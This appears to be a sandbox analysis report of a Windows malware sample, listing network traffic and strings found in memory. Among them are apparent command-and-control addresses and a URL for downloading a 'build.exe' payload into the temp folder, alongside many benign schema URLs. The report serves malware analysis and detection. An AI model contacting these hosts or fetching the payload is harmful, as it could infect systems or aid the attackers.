00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

ASN Name: ALABANZA-BALTUS ALABANZA-BALTUS

Source: Joe Sandbox View	IP Address: 162.159.128.233 162.159.128.233
Source: Joe Sandbox View	IP Address: 162.159.135.232 162.159.135.232

Source: global traffic

TCP traffic: 192.168.2.3:49755 -> 65.108.82.103:15914

Source: Windows Security.exe, 0000001A.00000002.505730560.0000000002A31000.00000004.00000800.00020000.00000000.sdmp, Windows Security.exe, 00000023.00000002.507506565.0000000002A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.90.143.200:27941
Source: Windows Security.exe, 00000023.00000002.507506565.0000000002A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.90.143.200:27941/
Source: Windows Security.exe, 0000001A.00000002.505730560.0000000002A31000.00000004.00000800.00020000.00000000.sdmp, Windows Security.exe, 00000023.00000002.505524163.0000000002711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.90.143.200:27941/c/
Source: Windows Security.exe, 0000001A.00000002.508342162.0000000003012000.00000004.00000800.00020000.00000000.sdmp, Windows Security.exe, 0000001A.00000002.507377147.0000000002DD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.90.143.200:279418
Source: Windows Security.exe, 00000023.00000002.507506565.0000000002A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.90.143.200:27941x
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: 18561381.exe, 00000000.00000002.403110268.0000000000AE5000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.506057683.000002E04009C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.470980343.00000129A5B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.504922364.0000011979CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 0000000B.00000002.505128111.000002E03EACD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.470844443.00000129A52E9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.504898877.0000011979CE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 18561381.exe, 00000000.00000002.406781851.00000000028CA000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.406890836.00000000028F6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.406963972.000000000290E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://discord.com
Source: 18561381.exe, 00000000.00000002.406781851.00000000028CA000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://discord.com/channels/948610961449816084/948610961449816086/948611091527774228
Source: 18561381.exe, 00000000.00000002.406781851.00000000028CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://discord.com4wk
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: 18561381.exe, 00000000.00000002.407082588.000000000293F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f0645594.xsph.ru
Source: 18561381.exe, 00000000.00000002.406781851.00000000028CA000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407082588.000000000293F000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f0645594.xsph.ru/build.exe
Source: 18561381.exe, 00000000.00000002.406781851.00000000028CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f0645594.xsph.ru/build.exe%7C%25tmp%25%5Cbuild.exe
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f0645594.xsph.ru/build.exe%7C%25tmp%25%5Cbuild.exeE%
Source: 18561381.exe, 00000000.00000002.407082588.000000000293F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f0645594.xsph.ru4wk
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://forms.rea
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: svchost.exe, 0000000F.00000003.439033226.00000129A5B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.437732478.00000129A5BA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultL
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, Windows Security.exe, 0000001A.00000002.505730560.0000000002A31000.00000004.00000800.00020000.00000000.sdmp, Windows Security.exe, 00000023.00000002.507506565.0000000002A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://service.r
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://support.a
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: 18561381.exe, 00000000.00000002.406781851.00000000028CA000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: 18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: 18561381.exe, 00000000.00000002.406781851.00000000028CA000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
